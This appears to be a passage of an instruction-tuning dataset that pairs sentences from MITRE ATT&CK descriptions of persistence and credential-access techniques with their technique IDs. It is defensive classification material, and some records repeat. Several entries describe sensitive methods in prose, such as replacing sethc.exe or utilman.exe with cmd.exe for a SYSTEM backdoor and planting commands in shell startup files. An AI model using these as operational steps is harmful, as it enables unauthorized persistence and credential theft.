techniques contained in the text.", "input": "Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen).", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Two common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Two common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Hikit Rootkit)", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Hikit Rootkit) ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the version of Windows, an adversary may take advantage of these features in different ways.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the version of Windows, an adversary may take advantage of these features in different ways. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP).", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: DEFCON2016 Sticky Keys)", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: DEFCON2016 Sticky Keys) ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access).", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Tilbury 2014)", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Tilbury 2014) ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n*", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n*", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n*", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n*", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code> ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The login shell executes scripts from the system (<code>/etc</code>) and the user\u2019s home directory (<code>~/</code>) to configure the environment.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The login shell executes scripts from the system (<code>/etc</code>) and the user\u2019s home directory (<code>~/</code>) to configure the environment. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All login shells on a system use /etc/profile when initiated.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All login shells on a system use /etc/profile when initiated. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc)", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files typically require root permissions to modify and are executed each time any shell on a system launches.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files typically require root permissions to modify and are executed each time any shell on a system launches. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation)", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The interactive shell uses the <code>~/.zshrc</code> to configure the user environment.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For legacy programs, macOS executes <code>/etc/bashrc</code> on startup. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Server Message Block)", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Server Message Block) ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security) ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s).", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). ### Response: 